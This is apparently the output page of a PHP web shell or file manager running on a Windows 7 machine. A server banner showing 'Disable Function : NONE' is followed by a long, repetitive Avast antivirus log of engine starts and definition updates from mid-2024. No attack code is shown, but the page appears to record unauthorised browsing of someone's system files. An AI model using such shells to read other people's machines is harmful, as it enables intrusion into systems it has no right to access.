|
Server : Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 System : Windows NT USER-PC 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64 User : User ( 0) PHP Version : 7.4.6 Disable Function : NONE Directory : C:/ProgramData/Avast Software/Avast/log/ |
2024-06-30 20:22:27 AVAVER: 21.2.2455 AR2: 240626 defs: 24062999 2024-06-30 20:22:27 ARPOT2: Start 3032 2024-06-30 20:22:27 AR2CFG: 240625 2024-06-30 20:22:27 AR2DEV: Start 1 Driver: 210305 2024-06-30 20:25:32 AVAVER: 21.2.2455 AR2: 240626 defs: 24062999 2024-06-30 20:25:32 ARPOT2: Start 4212 2024-06-30 20:25:33 AR2CFG: 240625 2024-06-30 20:25:33 AR2DEV: Start 1 Driver: 210305 2024-06-30 20:26:09 AR2DEV: Stopped 1 2024-06-30 20:26:10 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 20:26:10 ARPOT2: Start 3948 2024-06-30 20:26:10 AR2CFG: 240625 2024-06-30 20:26:10 AR2DEV: Start 1 Driver: 210305 2024-06-30 20:26:10 AR2DEV: Stopped 1 2024-06-30 20:26:10 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 20:26:10 ARPOT2: Start 3944 2024-06-30 20:26:10 AR2CFG: 240625 2024-06-30 20:26:10 AR2DEV: Start 1 Driver: 210305 2024-06-30 20:38:49 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 20:38:49 ARPOT2: Start 4112 2024-06-30 20:38:49 AR2CFG: 240625 2024-06-30 20:38:49 AR2DEV: Start 1 Driver: 210305 2024-06-30 22:11:00 AR2DEV: Stopped 1 2024-06-30 22:11:51 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 22:11:51 ARPOT2: Start 1824 2024-06-30 22:25:49 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 22:25:49 ARPOT2: Start 2648 2024-06-30 22:35:03 AR2CFG: 240625 2024-06-30 22:35:03 AR2DEV: Start 1 Driver: 210305 2024-06-30 22:59:56 AR2DEV: Stopped 1 2024-06-30 23:01:05 AVAVER: 21.2.2455 AR2: 240626 defs: 24063002 2024-06-30 23:01:05 ARPOT2: Start 2376 2024-06-30 23:10:27 AR2CFG: 240625 2024-06-30 23:10:27 AR2DEV: Start 1 Driver: 210305 2024-07-01 03:01:58 AR2DEV: Stopped 1 2024-07-01 03:01:58 AVAVER: 21.2.2455 AR2: 240626 defs: 24063004 2024-07-01 03:01:58 ARPOT2: Start 1124 2024-07-01 03:01:58 AVAVER: 21.2.2455 AR2: 240626 defs: 24063004 2024-07-01 03:01:58 ARPOT2: Start 3760 2024-07-01 03:01:58 AR2CFG: 240625 2024-07-01 03:01:58 AR2DEV: Start 1 Driver: 210305 2024-07-01 19:03:47 AR2DEV: Stopped 1 2024-07-01 19:03:47 AVAVER: 21.2.2455 AR2: 240626 defs: 24070100 2024-07-01 19:03:47 ARPOT2: Start 4744 2024-07-01 19:03:47 AR2CFG: 240625 2024-07-01 19:03:47 AR2DEV: Start 1 Driver: 210305 2024-07-01 19:03:47 AR2DEV: Stopped 1 2024-07-01 19:03:53 AVAVER: 21.2.2455 AR2: 240626 defs: 24070100 2024-07-01 19:03:53 ARPOT2: Start 2868 2024-07-01 19:03:53 AR2CFG: 240625 2024-07-01 19:03:54 AR2DEV: Start 1 Driver: 210305 2024-07-01 20:42:25 AVAVER: 21.2.2455 AR2: 240626 defs: 24070100 2024-07-01 20:42:25 ARPOT2: Start 4016 2024-07-01 20:42:25 AR2CFG: 240625 2024-07-01 20:42:25 AR2DEV: Start 1 Driver: 210305 2024-07-02 00:07:56 AVAVER: 21.2.2455 AR2: 240626 defs: 24070100 2024-07-02 00:07:56 ARPOT2: Start 4564 2024-07-02 00:07:56 AR2CFG: 240625 2024-07-02 00:07:56 AR2DEV: Start 1 Driver: 210305 2024-07-02 00:08:34 AR2DEV: Stopped 1 2024-07-02 00:08:34 AVAVER: 21.2.2455 AR2: 240626 defs: 24070102 2024-07-02 00:08:34 ARPOT2: Start 2064 2024-07-02 00:08:34 AR2CFG: 240625 2024-07-02 00:08:34 AR2DEV: Start 1 Driver: 210305 2024-07-02 00:08:34 AR2DEV: Stopped 1 2024-07-02 00:08:34 AVAVER: 21.2.2455 AR2: 240626 defs: 24070102 2024-07-02 00:08:34 ARPOT2: Start 3328 2024-07-02 00:08:34 AR2CFG: 240625 2024-07-02 00:08:34 AR2DEV: Start 1 Driver: 210305 2024-07-02 16:10:54 AR2DEV: Stopped 1 2024-07-02 16:10:55 AVAVER: 21.2.2455 AR2: 240626 defs: 24070200 2024-07-02 16:10:55 ARPOT2: Start 3572 2024-07-02 16:10:55 AR2CFG: 240625 2024-07-02 16:10:55 AVAVER: 21.2.2455 AR2: 240626 defs: 24070200 2024-07-02 16:10:55 ARPOT2: Start 5740 2024-07-02 16:10:55 AR2CFG: 240625 2024-07-02 16:10:55 AR2DEV: Start 1 Driver: 210305 2024-07-02 20:12:27 AR2DEV: Stopped 1 2024-07-02 20:12:27 AVAVER: 21.2.2455 AR2: 240626 defs: 24070202 2024-07-02 20:12:27 ARPOT2: Start 4904 2024-07-02 20:12:27 AR2CFG: 240625 2024-07-02 20:12:27 AR2DEV: Start 1 Driver: 210305 2024-07-02 20:12:28 AR2DEV: Stopped 1 2024-07-02 20:12:36 AVAVER: 21.2.2455 AR2: 240626 defs: 24070202 2024-07-02 20:12:36 ARPOT2: Start 5988 2024-07-02 20:12:36 AR2CFG: 240625 2024-07-02 20:12:36 AR2DEV: Start 1 Driver: 210305 2024-07-02 20:49:25 AVAVER: 21.2.2455 AR2: 240626 defs: 24070202 2024-07-02 20:49:25 ARPOT2: Start 4560 2024-07-02 20:49:25 AR2CFG: 240625 2024-07-02 20:49:25 AR2DEV: Start 1 Driver: 210305 2024-07-03 00:50:37 AR2DEV: Stopped 1 2024-07-03 00:50:37 AVAVER: 21.2.2455 AR2: 240626 defs: 24070204 2024-07-03 00:50:37 ARPOT2: Start 5992 2024-07-03 00:50:37 AR2CFG: 240625 2024-07-03 00:50:37 AR2DEV: Start 1 Driver: 210305 2024-07-03 00:50:37 AR2DEV: Stopped 1 2024-07-03 00:50:37 AVAVER: 21.2.2455 AR2: 240626 defs: 24070204 2024-07-03 00:50:37 ARPOT2: Start 3640 2024-07-03 00:50:37 AR2CFG: 240625 2024-07-03 00:50:37 AR2DEV: Start 1 Driver: 210305 2024-07-03 16:52:20 AR2DEV: Stopped 1 2024-07-03 16:52:20 AVAVER: 21.2.2455 AR2: 240702 defs: 24070302 2024-07-03 16:52:20 ARPOT2: Start 2300 2024-07-03 16:52:20 AR2CFG: 240702 2024-07-03 16:52:20 AR2DEV: Start 1 Driver: 210305 2024-07-03 16:52:20 AR2DEV: Stopped 1 2024-07-03 16:52:20 AVAVER: 21.2.2455 AR2: 240702 defs: 24070302 2024-07-03 16:52:20 ARPOT2: Start 4512 2024-07-03 16:52:20 AR2CFG: 240702 2024-07-03 16:52:20 AR2DEV: Start 1 Driver: 210305 2024-07-03 20:50:31 AVAVER: 21.2.2455 AR2: 240702 defs: 24070302 2024-07-03 20:50:31 ARPOT2: Start 5884 2024-07-03 20:50:31 AR2CFG: 240702 2024-07-03 20:50:31 AR2DEV: Start 1 Driver: 210305 2024-07-04 04:51:15 AR2DEV: Stopped 1 2024-07-04 04:51:15 AVAVER: 21.2.2455 AR2: 240702 defs: 24070308 2024-07-04 04:51:15 ARPOT2: Start 4472 2024-07-04 04:51:15 AR2CFG: 240702 2024-07-04 04:51:15 AR2DEV: Start 1 Driver: 210305 2024-07-04 04:51:16 AR2DEV: Stopped 1 2024-07-04 04:51:16 AVAVER: 21.2.2455 AR2: 240702 defs: 24070308 2024-07-04 04:51:16 ARPOT2: Start 3140 2024-07-04 04:51:16 AR2CFG: 240702 2024-07-04 04:51:16 AR2DEV: Start 1 Driver: 210305 2024-07-04 08:52:31 AR2DEV: Stopped 1 2024-07-04 08:52:31 AVAVER: 21.2.2455 AR2: 240702 defs: 24070314 2024-07-04 08:52:31 ARPOT2: Start 5164 2024-07-04 08:52:31 AR2CFG: 240702 2024-07-04 08:52:31 AR2DEV: Start 1 Driver: 210305 2024-07-04 08:52:31 AR2DEV: Stopped 1 2024-07-04 08:52:31 AVAVER: 21.2.2455 AR2: 240702 defs: 24070314 2024-07-04 08:52:31 ARPOT2: Start 5468 2024-07-04 08:52:31 AR2CFG: 240702 2024-07-04 08:52:31 AR2DEV: Start 1 Driver: 210305 2024-07-04 12:53:39 AR2DEV: Stopped 1 2024-07-04 12:53:39 AVAVER: 21.2.2455 AR2: 240702 defs: 24070400 2024-07-04 12:53:39 ARPOT2: Start 1788 2024-07-04 12:53:39 AR2CFG: 240702 2024-07-04 12:53:39 AR2DEV: Start 1 Driver: 210305 2024-07-04 12:53:40 AR2DEV: Stopped 1 2024-07-04 12:53:40 AVAVER: 21.2.2455 AR2: 240702 defs: 24070400 2024-07-04 12:53:40 ARPOT2: Start 2520 2024-07-04 12:53:40 AR2CFG: 240702 2024-07-04 12:53:40 AR2DEV: Start 1 Driver: 210305 2024-07-04 20:51:37 AVAVER: 21.2.2455 AR2: 240702 defs: 24070400 2024-07-04 20:51:37 ARPOT2: Start 2080 2024-07-04 20:51:37 AR2CFG: 240702 2024-07-04 20:51:37 AR2DEV: Start 1 Driver: 210305 2024-07-05 20:54:40 AVAVER: 21.2.2455 AR2: 240702 defs: 24070400 2024-07-05 20:54:41 ARPOT2: Start 4012 2024-07-05 20:54:41 AR2CFG: 240702 2024-07-05 20:54:41 AR2DEV: Start 1 Driver: 210305 2024-07-06 20:58:31 AVAVER: 21.2.2455 AR2: 240702 defs: 24070400 2024-07-06 20:58:31 ARPOT2: Start 5404 2024-07-06 20:58:31 AR2CFG: 240702 2024-07-06 20:58:31 AR2DEV: Start 1 Driver: 210305 2024-07-06 20:59:15 AR2DEV: Stopped 1 2024-07-06 20:59:15 AVAVER: 21.2.2455 AR2: 240702 defs: 24070602 2024-07-06 20:59:15 ARPOT2: Start 2656 2024-07-06 20:59:15 AR2CFG: 240702 2024-07-06 20:59:15 AR2DEV: Start 1 Driver: 210305 2024-07-06 20:59:16 AR2DEV: Stopped 1 2024-07-06 20:59:16 AVAVER: 21.2.2455 AR2: 240702 defs: 24070602 2024-07-06 20:59:16 ARPOT2: Start 1468 2024-07-06 20:59:16 AR2CFG: 240702 2024-07-06 20:59:16 AR2DEV: Start 1 Driver: 210305 2024-07-07 01:00:37 AR2DEV: Stopped 1 2024-07-07 01:00:37 AVAVER: 21.2.2455 AR2: 240702 defs: 24070604 2024-07-07 01:00:37 ARPOT2: Start 4928 2024-07-07 01:00:37 AVAVER: 21.2.2455 AR2: 240702 defs: 24070604 2024-07-07 01:00:37 ARPOT2: Start 3784 2024-07-07 01:00:37 AR2CFG: 240702 2024-07-07 01:00:37 AR2DEV: Start 1 Driver: 210305 2024-07-07 17:01:54 AR2DEV: Stopped 1 2024-07-07 17:01:54 AVAVER: 21.2.2455 AR2: 240702 defs: 24070700 2024-07-07 17:01:54 ARPOT2: Start 3196 2024-07-07 17:01:54 AR2CFG: 240702 2024-07-07 17:01:54 AR2DEV: Start 1 Driver: 210305 2024-07-07 17:01:55 AR2DEV: Stopped 1 2024-07-07 17:01:55 AVAVER: 21.2.2455 AR2: 240702 defs: 24070700 2024-07-07 17:01:55 ARPOT2: Start 3964 2024-07-07 17:01:55 AR2CFG: 240702 2024-07-07 17:01:55 AR2DEV: Start 1 Driver: 210305 2024-07-07 20:59:30 AVAVER: 21.2.2455 AR2: 240702 defs: 24070700 2024-07-07 20:59:30 ARPOT2: Start 5616 2024-07-07 20:59:30 AR2CFG: 240702 2024-07-07 20:59:30 AR2DEV: Start 1 Driver: 210305 2024-07-07 20:59:57 AR2DEV: Stopped 1 2024-07-07 20:59:57 AVAVER: 21.2.2455 AR2: 240702 defs: 24070702 2024-07-07 20:59:57 ARPOT2: Start 5568 2024-07-07 20:59:57 AR2CFG: 240702 2024-07-07 20:59:57 AR2DEV: Start 1 Driver: 210305 2024-07-07 20:59:57 AR2DEV: Stopped 1 2024-07-07 20:59:57 AVAVER: 21.2.2455 AR2: 240702 defs: 24070702 2024-07-07 20:59:57 ARPOT2: Start 5392 2024-07-07 20:59:57 AR2CFG: 240702 2024-07-07 20:59:57 AR2DEV: Start 1 Driver: 210305 2024-07-08 09:01:22 AR2DEV: Stopped 1 2024-07-08 09:01:22 AVAVER: 21.2.2455 AR2: 240702 defs: 24070706 2024-07-08 09:01:22 ARPOT2: Start 2348 2024-07-08 09:01:22 AR2CFG: 240702 2024-07-08 09:01:22 AR2DEV: Start 1 Driver: 210305 2024-07-08 09:01:22 AR2DEV: Stopped 1 2024-07-08 09:01:22 AVAVER: 21.2.2455 AR2: 240702 defs: 24070706 2024-07-08 09:01:22 ARPOT2: Start 3172 2024-07-08 09:01:22 AR2CFG: 240702 2024-07-08 09:01:22 AR2DEV: Start 1 Driver: 210305 2024-07-08 13:02:34 AR2DEV: Stopped 1 2024-07-08 13:02:34 AVAVER: 21.2.2455 AR2: 240702 defs: 24070800 2024-07-08 13:02:34 ARPOT2: Start 2108 2024-07-08 13:02:34 AR2CFG: 240702 2024-07-08 13:02:35 AR2DEV: Start 1 Driver: 210305 2024-07-08 13:02:35 AR2DEV: Stopped 1 2024-07-08 13:02:35 AVAVER: 21.2.2455 AR2: 240702 defs: 24070800 2024-07-08 13:02:35 ARPOT2: Start 5596 2024-07-08 13:02:35 AR2CFG: 240702 2024-07-08 13:02:35 AR2DEV: Start 1 Driver: 210305 2024-07-08 21:00:36 AVAVER: 21.2.2455 AR2: 240702 defs: 24070800 2024-07-08 21:00:36 ARPOT2: Start 6116 2024-07-08 21:00:36 AR2CFG: 240702 2024-07-08 21:00:36 AR2DEV: Start 1 Driver: 210305 2024-07-09 21:03:34 AVAVER: 21.2.2455 AR2: 240702 defs: 24070800 2024-07-09 21:03:34 ARPOT2: Start 2164 2024-07-09 21:03:34 AR2CFG: 240702 2024-07-09 21:03:34 AR2DEV: Start 1 Driver: 210305 2024-07-10 21:06:53 AVAVER: 21.2.2455 AR2: 240702 defs: 24070800 2024-07-10 21:06:53 ARPOT2: Start 6336 2024-07-10 21:06:53 AR2CFG: 240702 2024-07-10 21:06:53 AR2DEV: Start 1 Driver: 210305 2024-07-10 21:07:52 AR2DEV: Stopped 1 2024-07-10 21:07:52 AVAVER: 21.2.2455 AR2: 240702 defs: 24071004 2024-07-10 21:07:52 ARPOT2: Start 6544 2024-07-10 21:07:52 AR2CFG: 240702 2024-07-10 21:07:52 AR2DEV: Start 1 Driver: 210305 2024-07-10 21:07:53 AR2DEV: Stopped 1 2024-07-10 21:07:53 AVAVER: 21.2.2455 AR2: 240702 defs: 24071004 2024-07-10 21:07:53 ARPOT2: Start 2388 2024-07-10 21:07:53 AR2CFG: 240702 2024-07-10 21:07:53 AR2DEV: Start 1 Driver: 210305 2024-07-11 01:09:35 AR2DEV: Stopped 1 2024-07-11 01:09:35 AVAVER: 21.2.2455 AR2: 240702 defs: 24071006 2024-07-11 01:09:35 ARPOT2: Start 6420 2024-07-11 01:09:35 AR2CFG: 240702 2024-07-11 01:09:35 AR2DEV: Start 1 Driver: 210305 2024-07-11 01:09:36 AR2DEV: Stopped 1 2024-07-11 01:09:36 AVAVER: 21.2.2455 AR2: 240702 defs: 24071006 2024-07-11 01:09:36 ARPOT2: Start 3188 2024-07-11 01:09:36 AR2CFG: 240702 2024-07-11 01:09:36 AR2DEV: Start 1 Driver: 210305 2024-07-11 13:11:02 AR2DEV: Stopped 1 2024-07-11 13:11:02 AVAVER: 21.2.2455 AR2: 240702 defs: 24071100 2024-07-11 13:11:02 ARPOT2: Start 3460 2024-07-11 13:11:02 AR2CFG: 240702 2024-07-11 13:11:02 AR2DEV: Start 1 Driver: 210305 2024-07-11 13:11:02 AR2DEV: Stopped 1 2024-07-11 13:11:02 AVAVER: 21.2.2455 AR2: 240702 defs: 24071100 2024-07-11 13:11:02 ARPOT2: Start 2380 2024-07-11 13:11:02 AR2CFG: 240702 2024-07-11 13:11:02 AR2DEV: Start 1 Driver: 210305 2024-07-11 21:07:54 AVAVER: 21.2.2455 AR2: 240702 defs: 24071100 2024-07-11 21:07:54 ARPOT2: Start 7020 2024-07-11 21:07:54 AR2CFG: 240702 2024-07-11 21:07:54 AR2DEV: Start 1 Driver: 210305 2024-07-11 21:08:23 AR2DEV: Stopped 1 2024-07-11 21:08:23 AVAVER: 21.2.2455 AR2: 240702 defs: 24071102 2024-07-11 21:08:23 ARPOT2: Start 6948 2024-07-11 21:08:23 AR2CFG: 240702 2024-07-11 21:08:23 AR2DEV: Start 1 Driver: 210305 2024-07-11 21:08:24 AR2DEV: Stopped 1 2024-07-11 21:08:24 AVAVER: 21.2.2455 AR2: 240702 defs: 24071102 2024-07-11 21:08:24 ARPOT2: Start 6836 2024-07-11 21:08:24 AR2CFG: 240702 2024-07-11 21:08:24 AR2DEV: Start 1 Driver: 210305 2024-07-12 01:09:41 AR2DEV: Stopped 1 2024-07-12 01:09:41 AVAVER: 21.2.2455 AR2: 240709 defs: 24071104 2024-07-12 01:09:41 ARPOT2: Start 3376 2024-07-12 01:09:41 AR2CFG: 240705 2024-07-12 01:09:41 AR2DEV: Start 1 Driver: 210305 2024-07-12 01:09:41 AR2DEV: Stopped 1 2024-07-12 01:09:41 AVAVER: 21.2.2455 AR2: 240709 defs: 24071104 2024-07-12 01:09:41 ARPOT2: Start 4620 2024-07-12 01:09:41 AR2CFG: 240705 2024-07-12 01:09:41 AR2DEV: Start 1 Driver: 210305 2024-07-12 17:11:16 AR2DEV: Stopped 1 2024-07-12 17:11:16 AVAVER: 21.2.2455 AR2: 240709 defs: 24071204 2024-07-12 17:11:16 ARPOT2: Start 6400 2024-07-12 17:11:16 AR2CFG: 240705 2024-07-12 17:11:16 AR2DEV: Start 1 Driver: 210305 2024-07-12 17:11:17 AR2DEV: Stopped 1 2024-07-12 17:11:17 AVAVER: 21.2.2455 AR2: 240709 defs: 24071204 2024-07-12 17:11:17 ARPOT2: Start 2216 2024-07-12 17:11:17 AR2CFG: 240705 2024-07-12 17:11:17 AR2DEV: Start 1 Driver: 210305 2024-07-12 21:09:02 AVAVER: 21.2.2455 AR2: 240709 defs: 24071204 2024-07-12 21:09:02 ARPOT2: Start 6496 2024-07-12 21:09:02 AR2CFG: 240705 2024-07-12 21:09:02 AR2DEV: Start 1 Driver: 210305 2024-07-12 21:09:32 AR2DEV: Stopped 1 2024-07-12 21:09:32 AVAVER: 21.2.2455 AR2: 240709 defs: 24071206 2024-07-12 21:09:32 ARPOT2: Start 4904 2024-07-12 21:09:32 AR2CFG: 240705 2024-07-12 21:09:32 AR2DEV: Start 1 Driver: 210305 2024-07-12 21:09:32 AR2DEV: Stopped 1 2024-07-12 21:09:32 AVAVER: 21.2.2455 AR2: 240709 defs: 24071206 2024-07-12 21:09:32 ARPOT2: Start 4200 2024-07-12 21:09:32 AR2CFG: 240705 2024-07-12 21:09:32 AR2DEV: Start 1 Driver: 210305 2024-07-13 01:10:51 AR2DEV: Stopped 1 2024-07-13 01:10:51 AVAVER: 21.2.2455 AR2: 240709 defs: 24071208 2024-07-13 01:10:51 ARPOT2: Start 2076 2024-07-13 01:10:51 AR2CFG: 240705 2024-07-13 01:10:51 AR2DEV: Start 1 Driver: 210305 2024-07-13 01:10:52 AR2DEV: Stopped 1 2024-07-13 01:10:52 AVAVER: 21.2.2455 AR2: 240709 defs: 24071208 2024-07-13 01:10:52 ARPOT2: Start 1984 2024-07-13 01:10:52 AR2CFG: 240705 2024-07-13 01:10:52 AR2DEV: Start 1 Driver: 210305 2024-07-13 13:12:16 AR2DEV: Stopped 1 2024-07-13 13:12:16 AVAVER: 21.2.2455 AR2: 240709 defs: 24071300 2024-07-13 13:12:16 ARPOT2: Start 3900 2024-07-13 13:12:16 AR2CFG: 240705 2024-07-13 13:12:16 AR2DEV: Start 1 Driver: 210305 2024-07-13 13:12:16 AR2DEV: Stopped 1 2024-07-13 13:12:16 AVAVER: 21.2.2455 AR2: 240709 defs: 24071300 2024-07-13 13:12:16 ARPOT2: Start 6508 2024-07-13 13:12:16 AR2CFG: 240705 2024-07-13 13:12:16 AR2DEV: Start 1 Driver: 210305 2024-07-13 21:10:02 AVAVER: 21.2.2455 AR2: 240709 defs: 24071300 2024-07-13 21:10:02 ARPOT2: Start 6292 2024-07-13 21:10:02 AR2CFG: 240705 2024-07-13 21:10:02 AR2DEV: Start 1 Driver: 210305 2024-07-13 21:10:30 AR2DEV: Stopped 1 2024-07-13 21:10:30 AVAVER: 21.2.2455 AR2: 240709 defs: 24071302 2024-07-13 21:10:30 ARPOT2: Start 2260 2024-07-13 21:10:30 AR2CFG: 240705 2024-07-13 21:10:30 AR2DEV: Start 1 Driver: 210305 2024-07-13 21:10:30 AR2DEV: Stopped 1 2024-07-13 21:10:30 AVAVER: 21.2.2455 AR2: 240709 defs: 24071302 2024-07-13 21:10:30 ARPOT2: Start 6340 2024-07-13 21:10:30 AR2CFG: 240705 2024-07-13 21:10:30 AR2DEV: Start 1 Driver: 210305 2024-07-14 01:11:44 AR2DEV: Stopped 1 2024-07-14 01:11:44 AVAVER: 21.2.2455 AR2: 240709 defs: 24071304 2024-07-14 01:11:44 ARPOT2: Start 1764 2024-07-14 01:11:44 AR2CFG: 240705 2024-07-14 01:11:44 AR2DEV: Start 1 Driver: 210305 2024-07-14 01:11:45 AR2DEV: Stopped 1 2024-07-14 01:11:45 AVAVER: 21.2.2455 AR2: 240709 defs: 24071304 2024-07-14 01:11:45 ARPOT2: Start 6900 2024-07-14 01:11:45 AR2CFG: 240705 2024-07-14 01:11:45 AR2DEV: Start 1 Driver: 210305 2024-07-14 17:13:14 AR2DEV: Stopped 1 2024-07-14 17:13:14 AVAVER: 21.2.2455 AR2: 240709 defs: 24071402 2024-07-14 17:13:14 ARPOT2: Start 3228 2024-07-14 17:13:14 AR2CFG: 240705 2024-07-14 17:13:14 AR2DEV: Start 1 Driver: 210305 2024-07-14 17:13:15 AR2DEV: Stopped 1 2024-07-14 17:13:15 AVAVER: 21.2.2455 AR2: 240709 defs: 24071402 2024-07-14 17:13:15 ARPOT2: Start 4464 2024-07-14 17:13:15 AR2CFG: 240705 2024-07-14 17:13:15 AR2DEV: Start 1 Driver: 210305 2024-07-14 21:11:07 AVAVER: 21.2.2455 AR2: 240709 defs: 24071402 2024-07-14 21:11:07 ARPOT2: Start 5408 2024-07-14 21:11:07 AR2CFG: 240705 2024-07-14 21:11:07 AR2DEV: Start 1 Driver: 210305 2024-07-14 21:11:36 AR2DEV: Stopped 1 2024-07-14 21:11:36 AVAVER: 21.2.2455 AR2: 240709 defs: 24071404 2024-07-14 21:11:36 ARPOT2: Start 6116 2024-07-14 21:11:36 AR2CFG: 240705 2024-07-14 21:11:36 AR2DEV: Start 1 Driver: 210305 2024-07-14 21:11:36 AR2DEV: Stopped 1 2024-07-14 21:11:36 AVAVER: 21.2.2455 AR2: 240709 defs: 24071404 2024-07-14 21:11:36 ARPOT2: Start 6204 2024-07-14 21:11:36 AR2CFG: 240705 2024-07-14 21:11:36 AR2DEV: Start 1 Driver: 210305 2024-07-15 05:12:59 AR2DEV: Stopped 1 2024-07-15 05:12:59 AVAVER: 21.2.2455 AR2: 240709 defs: 24071408 2024-07-15 05:12:59 ARPOT2: Start 5380 2024-07-15 05:12:59 AR2CFG: 240705 2024-07-15 05:12:59 AR2DEV: Start 1 Driver: 210305 2024-07-15 05:13:00 AR2DEV: Stopped 1 2024-07-15 05:13:00 AVAVER: 21.2.2455 AR2: 240709 defs: 24071408 2024-07-15 05:13:00 ARPOT2: Start 3724 2024-07-15 05:13:00 AR2CFG: 240705 2024-07-15 05:13:00 AR2DEV: Start 1 Driver: 210305 2024-07-15 09:13:59 AR2DEV: Stopped 1 2024-07-15 09:13:59 AVAVER: 21.2.2455 AR2: 240709 defs: 24071410 2024-07-15 09:13:59 ARPOT2: Start 3916 2024-07-15 09:13:59 AR2CFG: 240705 2024-07-15 09:13:59 AR2DEV: Start 1 Driver: 210305 2024-07-15 09:13:59 AR2DEV: Stopped 1 2024-07-15 09:13:59 AVAVER: 21.2.2455 AR2: 240709 defs: 24071410 2024-07-15 09:13:59 ARPOT2: Start 6376 2024-07-15 09:13:59 AR2CFG: 240705 2024-07-15 09:13:59 AR2DEV: Start 1 Driver: 210305 2024-07-15 13:15:07 AR2DEV: Stopped 1 2024-07-15 13:15:07 AVAVER: 21.2.2455 AR2: 240709 defs: 24071500 2024-07-15 13:15:07 ARPOT2: Start 6676 2024-07-15 13:15:07 AR2CFG: 240705 2024-07-15 13:15:07 AR2DEV: Start 1 Driver: 210305 2024-07-15 13:15:07 AR2DEV: Stopped 1 2024-07-15 13:15:07 AVAVER: 21.2.2455 AR2: 240709 defs: 24071500 2024-07-15 13:15:07 ARPOT2: Start 5212 2024-07-15 13:15:07 AR2CFG: 240705 2024-07-15 13:15:07 AR2DEV: Start 1 Driver: 210305 2024-07-15 21:11:57 AVAVER: 21.2.2455 AR2: 240709 defs: 24071500 2024-07-15 21:11:57 ARPOT2: Start 3608 2024-07-15 21:11:57 AR2CFG: 240705 2024-07-15 21:11:57 AR2DEV: Start 1 Driver: 210305 2024-07-16 01:12:34 AR2DEV: Stopped 1 2024-07-16 01:12:34 AVAVER: 21.2.2455 AR2: 240709 defs: 24071506 2024-07-16 01:12:34 ARPOT2: Start 1532 2024-07-16 01:12:34 AR2CFG: 240705 2024-07-16 01:12:34 AR2DEV: Start 1 Driver: 210305 2024-07-16 01:12:34 AR2DEV: Stopped 1 2024-07-16 01:12:34 AVAVER: 21.2.2455 AR2: 240709 defs: 24071506 2024-07-16 01:12:34 ARPOT2: Start 6376 2024-07-16 01:12:34 AR2CFG: 240705 2024-07-16 01:12:34 AR2DEV: Start 1 Driver: 210305 2024-07-16 13:13:46 AR2DEV: Stopped 1 2024-07-16 13:13:46 AVAVER: 21.2.2455 AR2: 240709 defs: 24071600 2024-07-16 13:13:46 ARPOT2: Start 3980 2024-07-16 13:13:46 AR2CFG: 240705 2024-07-16 13:13:46 AR2DEV: Start 1 Driver: 210305 2024-07-16 13:13:46 AR2DEV: Stopped 1 2024-07-16 13:13:46 AVAVER: 21.2.2455 AR2: 240709 defs: 24071600 2024-07-16 13:13:46 ARPOT2: Start 3260 2024-07-16 13:13:46 AR2CFG: 240705 2024-07-16 13:13:46 AR2DEV: Start 1 Driver: 210305 2024-07-16 21:13:02 AVAVER: 21.2.2455 AR2: 240709 defs: 24071600 2024-07-16 21:13:02 ARPOT2: Start 5224 2024-07-16 21:13:02 AR2CFG: 240705 2024-07-16 21:13:02 AR2DEV: Start 1 Driver: 210305 2024-07-16 21:13:31 AR2DEV: Stopped 1 2024-07-16 21:13:31 AVAVER: 21.2.2455 AR2: 240709 defs: 24071602 2024-07-16 21:13:31 ARPOT2: Start 6680 2024-07-16 21:13:31 AR2CFG: 240705 2024-07-16 21:13:31 AR2DEV: Start 1 Driver: 210305 2024-07-16 21:13:31 AR2DEV: Stopped 1 2024-07-16 21:13:31 AVAVER: 21.2.2455 AR2: 240709 defs: 24071602 2024-07-16 21:13:31 ARPOT2: Start 7020 2024-07-16 21:13:31 AR2CFG: 240705 2024-07-16 21:13:31 AR2DEV: Start 1 Driver: 210305 2024-07-17 01:14:43 AR2DEV: Stopped 1 2024-07-17 01:14:43 AVAVER: 21.2.2455 AR2: 240709 defs: 24071604 2024-07-17 01:14:43 ARPOT2: Start 2368 2024-07-17 01:14:43 AR2CFG: 240705 2024-07-17 01:14:43 AR2DEV: Start 1 Driver: 210305 2024-07-17 01:14:44 AR2DEV: Stopped 1 2024-07-17 01:14:44 AVAVER: 21.2.2455 AR2: 240709 defs: 24071604 2024-07-17 01:14:44 ARPOT2: Start 4056 2024-07-17 01:14:44 AR2CFG: 240705 2024-07-17 01:14:44 AR2DEV: Start 1 Driver: 210305 2024-07-17 13:16:00 AR2DEV: Stopped 1 2024-07-17 13:16:00 AVAVER: 21.2.2455 AR2: 240709 defs: 24071700 2024-07-17 13:16:00 ARPOT2: Start 2152 2024-07-17 13:16:00 AR2CFG: 240705 2024-07-17 13:16:00 AR2DEV: Start 1 Driver: 210305 2024-07-17 13:16:01 AR2DEV: Stopped 1 2024-07-17 13:16:01 AVAVER: 21.2.2455 AR2: 240709 defs: 24071700 2024-07-17 13:16:01 ARPOT2: Start 6948 2024-07-17 13:16:01 AR2CFG: 240705 2024-07-17 13:16:01 AR2DEV: Start 1 Driver: 210305 2024-07-17 21:14:05 AVAVER: 21.2.2455 AR2: 240709 defs: 24071700 2024-07-17 21:14:05 ARPOT2: Start 4488 2024-07-17 21:14:05 AR2CFG: 240705 2024-07-17 21:14:05 AR2DEV: Start 1 Driver: 210305 2024-07-18 21:17:05 AVAVER: 21.2.2455 AR2: 240709 defs: 24071700 2024-07-18 21:17:05 ARPOT2: Start 2460 2024-07-18 21:17:05 AR2CFG: 240705 2024-07-18 21:17:05 AR2DEV: Start 1 Driver: 210305 2024-07-18 21:17:46 AR2DEV: Stopped 1 2024-07-18 21:17:46 AVAVER: 21.2.2455 AR2: 240711 defs: 24071804 2024-07-18 21:17:46 ARPOT2: Start 6204 2024-07-18 21:17:46 AR2CFG: 240705 2024-07-18 21:17:46 AR2DEV: Start 1 Driver: 210305 2024-07-18 21:17:47 AR2DEV: Stopped 1 2024-07-18 21:17:47 AVAVER: 21.2.2455 AR2: 240711 defs: 24071804 2024-07-18 21:17:47 ARPOT2: Start 4016 2024-07-18 21:17:47 AR2CFG: 240705 2024-07-18 21:17:47 AR2DEV: Start 1 Driver: 